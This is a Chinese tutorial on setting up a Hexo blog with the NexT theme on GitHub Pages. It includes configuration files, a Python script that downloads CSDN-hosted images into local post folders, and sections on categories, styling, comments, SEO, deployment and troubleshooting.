1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 安装Hexo命令行工具
npm install -g hexo-cli

# 创建博客项目
hexo init myBlog
cd myBlog

# 安装Next主题
npm install hexo-theme-next --save

# 安装部署插件
npm install hexo-deployer-git --save

# 安装搜索插件(用于本地搜索)
npm install hexo-generator-searchdb --save

# 安装站点地图插件(用于SEO)
npm install hexo-generator-sitemap --save
npm install hexo-generator-baidu-sitemap --save # 可选,百度专用

二、核心配置文件详解

2.1 Hexo主配置文件 (_config.yml)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
# Site
title: ZQ-Rookie-Hacker的技术博客
subtitle: '分享编程、网络安全、工具使用技巧'
description: '专注于Hexo博客搭建、前端开发、网络安全的技术分享平台'
keywords: ['Hexo', '博客搭建', '网络安全', 'SSH', '编程技巧']
author: ZQ-Rookie-Hacker
language: zh-CN
timezone: 'Asia/Shanghai'

# URL
url: https://你的用户名.github.io
root: /
permalink: :year/:month/:day/:title/
permalink_defaults:

# Directory
source_dir: source
public_dir: public
tag_dir: tags
archive_dir: archives
category_dir: categories

# Writing
new_post_name: :title.md
default_layout: post
titlecase: false
external_link:
enable: true
field: site
exclude: ''
filename_case: 0
render_drafts: false
post_asset_folder: true # 🔑 关键:启用文章资源文件夹(每篇文章一个文件夹存放图片)
relative_link: false # 🔑 关键:禁用相对链接,确保路径正确
future: true

# Markdown配置(解决图片核心问题)
syntax_highlighter: highlight.js
highlight:
line_number: true
auto_detect: false
tab_replace: ''
wrap: true
hljs: false

marked:
prepend_root: true # 🔑 关键:自动为相对路径添加根路径
post_asset: true # 🔑 关键:识别文章资源文件夹中的图片

prismjs:
preprocess: true
line_number: true
tab_replace: ''

# 关闭缓存避免路径问题
cache:
enable: false

# Extensions
theme: next

# Deployment
deploy:
type: git
repo: git@github.com:你的用户名/你的用户名.github.io.git
branch: main

2.2 Next主题配置 (themes/next/_config.yml)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
# Scheme Settings (推荐简洁大气的Gemini或Mist)
scheme: Gemini
# scheme: Mist
# scheme: Pisces
# scheme: Muse

# Dark Mode
darkmode: false

# Menu Settings
menu:
home: / || fa fa-home
categories: /categories/ || fa fa-folder # 新增:分类页
tags: /tags/ || fa fa-tags # 新增:标签页
archives: /archives/ || fa fa-archive
about: /about/ || fa fa-user # 可选:需先创建about页

# Sidebar Settings
sidebar:
position: left
display: post

# Post Settings
excerpt_description: true
read_more_btn: true

# 图片懒加载(提升加载速度)
lazyload:
enable: true

# 代码高亮优化
codeblock:
copy_button:
enable: true

# 本地搜索
local_search:
enable: true
placeholder: 搜索文章...

# 阅读量统计(不蒜子)
busuanzi_count:
enable: true
total_visitors: true
total_views: true
post_views: true
archive_views: true

# 评论系统(推荐Gitalk)
gitalk:
enable: true
client_id: 你的Client ID
client_secret: 你的Client Secret
repo: blog-comments # 用于存储评论的GitHub仓库名
owner: 你的GitHub用户名
admin: [你的GitHub用户名]
distraction_free_mode: false
language: zh-CN

# SEO
seo: true

三、CSDN图片处理终极方案

3.1 自动化图片下载与修复脚本 (fix_csdn_images.py)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
import os
import re
import requests
from urllib.parse import urlparse
import time

# ====== 你只需要改这一行:你的文章放哪儿? ======
POSTS_DIR = r"F:\myBlog\source\_posts" # 修改为你的实际路径
# ================================================

# 支持的图片格式
IMG_EXTENSIONS = ('.png', '.jpg', '.jpeg', '.gif', '.bmp', '.webp')

def download_image(url, save_path):
"""下载单张图片"""
try:
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
}
res = requests.get(url, headers=headers, timeout=15)
res.raise_for_status()
with open(save_path, 'wb') as f:
f.write(res.content)
return True
except Exception as e:
print(f"❌ 下载失败:{url},错误:{e}")
return False

def process_markdown_file(file_path):
"""处理单个Markdown文件"""
article_name = os.path.splitext(os.path.basename(file_path))[0]
image_dir = os.path.join(os.path.dirname(file_path), article_name)
os.makedirs(image_dir, exist_ok=True)

with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()

# 查找所有CSDN网络图片链接
img_pattern = r'!\[([^\]]*)\]\((https?://[^\s)]+\.(?:png|jpg|jpeg|gif|bmp|webp))\)'
matches = list(re.finditer(img_pattern, content))

print(f"🔍 找到 {len(matches)} 张图片")

success_count = 0
for i, match in enumerate(matches):
alt_text = match.group(1) or '图片描述'
url = match.group(2)

print(f"⬇️ 正在下载 ({i+1}/{len(matches)}): {os.path.basename(url)} ")

# 生成图片文件名
parsed = urlparse(url)
ext = os.path.splitext(parsed.path)[1].lower()
if not ext or ext not in IMG_EXTENSIONS:
ext = '.png'

# 清理文件名中的特殊字符
clean_alt = re.sub(r'[^\w\u4e00-\u9fa5-]', '_', alt_text)
filename_on_disk = f"{clean_alt}_{i+1}{ext}" if clean_alt else f"image_{i+1}{ext}"

local_path = os.path.join(image_dir, filename_on_disk)

if download_image(url, local_path):
# 使用标准Markdown语法,引用本地文件
new_link = f"![{alt_text}]({filename_on_disk})"
content = content.replace(match.group(0), new_link)
success_count += 1
print(f"✅ 已保存:{filename_on_disk} ")

# 保存修改后的内容
with open(file_path, 'w', encoding='utf-8') as f:
f.write(content)

return success_count, len(matches)

def main():
print("🚀 开始处理CSDN导出的图片...")
total_success = 0
total_images = 0

for filename in os.listdir(POSTS_DIR):
if not filename.endswith('.md'):
continue

blog_path = os.path.join(POSTS_DIR, filename)
print(f"\n📄 正在处理:{filename}")

success, total = process_markdown_file(blog_path)
total_success += success
total_images += total

print(f"🎉 {filename} 处理完成:{success}/{total} 张图片成功")

print(f"\n🎊 全部完成!总计处理 {total_success}/{total_images} 张图片")
print("\n📝 接下来执行:")
print(" hexo clean && hexo generate && hexo server")

if __name__ == "__main__":
main()

3.2 使用说明

  1. 修改路径:将脚本中的 POSTS_DIR 修改为你博客文章的实际路径(如 F:\myBlog\source\_posts)。
  2. 运行脚本:在命令行中进入脚本所在目录,执行 python fix_csdn_images.py
  3. 验证结构:脚本执行后,你的文章目录结构应变为:
    1
    2
    3
    4
    5
    6
    source/_posts/
    ├── SSH隧道技术.md
    └── SSH隧道技术/
    ├── 图片描述_1.png
    ├── 图片描述_2.jpg
    └── ...
  4. 本地预览:执行 hexo clean && hexo generate && hexo server,在浏览器中访问 http://localhost:4000,确认图片已正常加载。

四、核心:搭建清晰的「分类/标签」体系(解决文章归类问题)

分类是博客的“骨架”,标签是“索引”,两者结合让读者快速找到内容,也让你的博客结构更规整。

4.1 先明确规则(避免混乱)

  • 分类:层级化、不重复(例如:技术网络安全工具Hexo配置)。一篇文章建议1-2个主分类。
  • 标签:扁平化、多维度(例如:一篇「Hexo分类配置」的文章,标签可设 Hexo博客搭建分类管理)。一篇文章可多个标签。

4.2 步骤1:创建「分类页」「标签页」(让导航能访问)
Hexo需要手动创建分类/标签的“容器页面”,否则导航栏点击后会404:

1
2
3
4
5
# 创建分类页面
hexo new page "categories"

# 创建标签页面
hexo new page "tags"

然后分别编辑这两个文件的 Front-matter,添加 type 标识:

  • source/categories/index.md
    1
    2
    3
    4
    5
    ---
    title: 分类
    date: 2025-11-11
    type: "categories"
    ---
  • source/tags/index.md
    1
    2
    3
    4
    5
    ---
    title: 标签
    date: 2025-11-11
    type: "tags"
    ---

4.3 步骤2:给文章分配「分类/标签」
编辑每篇文章(source/_posts/xxx.md)的 Front-matter:

1
2
3
4
5
6
7
8
9
10
11
12
---
title: "什么是SSH隧道及相关技术"
date: 2025-11-10
updated: 2025-11-11
categories:
- 技术
- 网络安全
tags:
- SSH
- 隧道技术
- 服务器
---

4.4 步骤3:让分类/标签显示在导航栏
themes/next/_config.ymlmenu 配置中,添加 categoriestags 菜单项(已在上文2.2节中包含)。


二、优化导航与功能:让博客更好用

1. 开启「搜索功能」(必备!)
已在 themes/next/_config.yml 中配置 local_search,确保已安装 hexo-generator-searchdb 插件。

2. 代码高亮优化(程序员必备)
已在 themes/next/_config.yml 中配置 codeblock.copy_button,并在 hexo/_config.yml 中启用了 highlight.line_number

3. 图片处理:避免失效+优化显示

  • 方案1:本地图片(推荐):通过 post_asset_folder: true + marked.post_asset: true 配置,脚本已自动将图片存入文章同名文件夹,使用 ![描述](图片名.png) 的相对路径,永不失效
  • 方案2:图床:若需多设备编辑,可用PicGo上传至GitHub图床,复制链接粘贴。但强烈推荐方案1,数据完全可控。
  • 优化显示:在Markdown中,使用以下代码让图片居中并限制宽度:
    1
    2
    <!-- 居中+限制宽度 -->
    <img src="图片链接" alt="描述" style="display: block; margin: 0 auto; max-width: 80%;">

五、外观优化:让博客更个性化

5.1 选择Next主题风格(Scheme)
themes/next/_config.yml 中设置:

1
2
3
4
scheme: Gemini  # 推荐:简洁大气,适配分类/标签
# scheme: Mist # 更紧凑
# scheme: Pisces # 卡片式
# scheme: Muse # 默认

5.2 自定义颜色/字体
编辑 themes/next/source/css/_custom/custom.styl 文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// 自定义导航栏背景色
.header {
background: #2c3e50;
}

// 自定义链接颜色
a {
color: #3498db;
&:hover {
color: #e74c3c;
}
}

// 全局字体(推荐思源黑体)
body {
font-family: "Source Han Sans CN", "PingFang SC", "Microsoft YaHei", sans-serif;
}

// 代码字体(推荐Fira Code)
code, pre {
font-family: "Fira Code", "Consolas", monospace;
}

// 页面背景图(可选)
body {
background-image: url('/images/bg.jpg');
background-repeat: no-repeat;
background-size: cover;
background-attachment: fixed;
background-color: rgba(255, 255, 255, 0.9);
background-blend-mode: overlay;
}

注意:将背景图 bg.jpg 放入 source/images/ 目录下。

5.3 添加背景图/头像

  • 头像:在 themes/next/_config.yml 中设置:
    1
    2
    3
    4
    avatar:
    url: /images/avatar.jpg # 图片放在 source/images/ 目录下
    rounded: true
    opacity: 1.0
  • 背景图:已在上文 custom.styl 中配置。

六、增强互动与体验:添加评论/阅读量

6.1 评论系统(推荐 Gitalk,适配 GitHub Pages)
已在 themes/next/_config.yml 中配置 gitalk,请按说明申请GitHub OAuth App并填入 client_idclient_secret

2. 阅读量统计(不蒜子,无需注册)
已在 themes/next/_config.yml 中启用 busuanzi_count


七、SEO优化:让博客被搜索引擎收录

7.1 配置站点信息(Hexo根目录 _config.yml
已在上文2.1节中包含 title, subtitle, description, keywords, author, language, timezone

7.2 生成站点地图
已在上文1.3节安装了 hexo-generator-sitemaphexo-generator-baidu-sitemap 插件。无需额外配置,它们会自动生成 sitemap.xmlbaidu_sitemap.xml

7.3 提交站点到搜索引擎

  • Google 搜索控制台:添加你的域名,提交 https://你的博客地址/sitemap.xml
  • 百度搜索资源平台:添加你的域名,提交 https://你的博客地址/baidu_sitemap.xml

八、细节优化:提升质感

8.1 文章排版

  • 折叠块(适合长代码/补充说明):
    1
    2
    3
    4
    <details>
    <summary>点击查看补充说明</summary>
    这里是折叠的内容...
    </details>
  • 每篇文章添加「前言/小结」,让结构更清晰。

8.2 404 页面
创建 source/404.md

1
2
3
4
5
6
7
8
9
---
title: 页面不存在
date: 2025-11-11
---
<div style="text-align: center; margin-top: 50px;">
<h1>404 - 页面走丢啦~</h1>
<p>你访问的页面不存在或已被移动</p>
<a href="/" style="color: #3498db; font-size: 18px;">返回首页</a>
</div>

8.3 关闭无用功能
themes/next/_config.yml 中关闭不需要的功能:

1
2
3
4
reward:
enable: false
sharejs:
enable: false

九、部署与备份**

9.1 部署流程
每次修改后,执行以下命令部署:

1
hexo clean && hexo generate && hexo deploy

9.2 本地测试
在部署前,务必先在本地测试:

1
2
3
hexo clean
hexo generate --debug
hexo server

访问 http://localhost:4000,检查:

  • ✅ 文章正常显示
  • ✅ 图片正确加载
  • ✅ 样式正常
  • ✅ 搜索、分类、标签功能正常

9.3 备份
将 Hexo 根目录的 _config.ymlthemes/next/_config.ymlsource/ 目录(文章+图片)备份到 GitHub(新建一个仓库,比如 blog-source),避免电脑故障丢失数据。


十、故障排除大全

10.1 图片不显示问题

  • 症状:图片显示为空白或404。
  • 解决方案
    1. 检查配置:确保 _config.ymlpost_asset_folder: truemarked.prepend_root: true 已开启。
    2. 清理缓存:执行 hexo clean 后重新 hexo generate
    3. 检查路径:浏览器F12查看Network标签,确认图片请求的URL是 文章名/图片名.png 的相对路径。

10.2 部署失败问题

  • 常见错误1:权限拒绝
    • 解决方案:使用HTTPS地址或配置SSH密钥。
    1
    2
    3
    4
    deploy:
    type: git
    repo: https://github.com/用户名/你的用户名.github.io.git
    branch: main
  • 常见错误2:分支不存在
    • 解决方案:确认你的GitHub仓库默认分支是 main 还是 gh-pages,并相应修改 branch 配置。

10.3 主题显示异常

  • 解决方案
    1. 确认主题安装:npm list hexo-theme-next
    2. 检查 hexo/_config.ymltheme: next
    3. 清理重新安装:rm -rf node_modules && npm install

10.4 时间显示问题

  • 症状:文章时间相差8小时。
  • 解决方案:确保 hexo/_config.ymltimezone: 'Asia/Shanghai'

十一、优化与进阶

11.1 性能优化

  • themes/next/_config.yml 中启用 lazyload: enable: true
  • hexo/_config.yml 中启用 highlight.line_number: true

11.2 自定义域名

  • source/ 目录下创建一个名为 CNAME 的文件。
  • 文件内容写入你的域名,例如:yourdomain.com
  • 在你的域名DNS服务商处,添加一条CNAME记录,指向 你的用户名.github.io

十二、实用命令速查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 创建新文章
hexo new "文章标题"

# 本地写作(预览草稿)
hexo server --draft

# 仅生成静态文件
hexo generate

# 强制清理缓存
hexo clean --debug

# 查看Hexo版本
hexo version

# 一键部署(最常用)
hexo clean && hexo generate && hexo deploy

十三、博客协作更新

13.1 拉取myBlog + 配置git

  • git clone git@github.com:用户名/myBlog.git
  • git init (初始化刚拉取的myBlog)
  • git remote add origin git@github.com:用户名/myBlog.git (关联仓库)

13.2 下载nodejs + hexo

  • 官网下载nodejs
  • 下载 hexo npm install -g hexo-cli

13.3 nmp 相关插件下载

  • npm install
  • npm install hexo-deployer-git –save

因为 myBlog 已经hexo 初始化完毕,不需要再进行初始化
myBlog 私仓用于博客协作更新(用git), 用hexo deploy 更新博客仓

注意:每次修改文章或其他文件时,hexo clean -> hexo g -> hexo deploy -> git add . -> git commit …. -> git push origin main

0%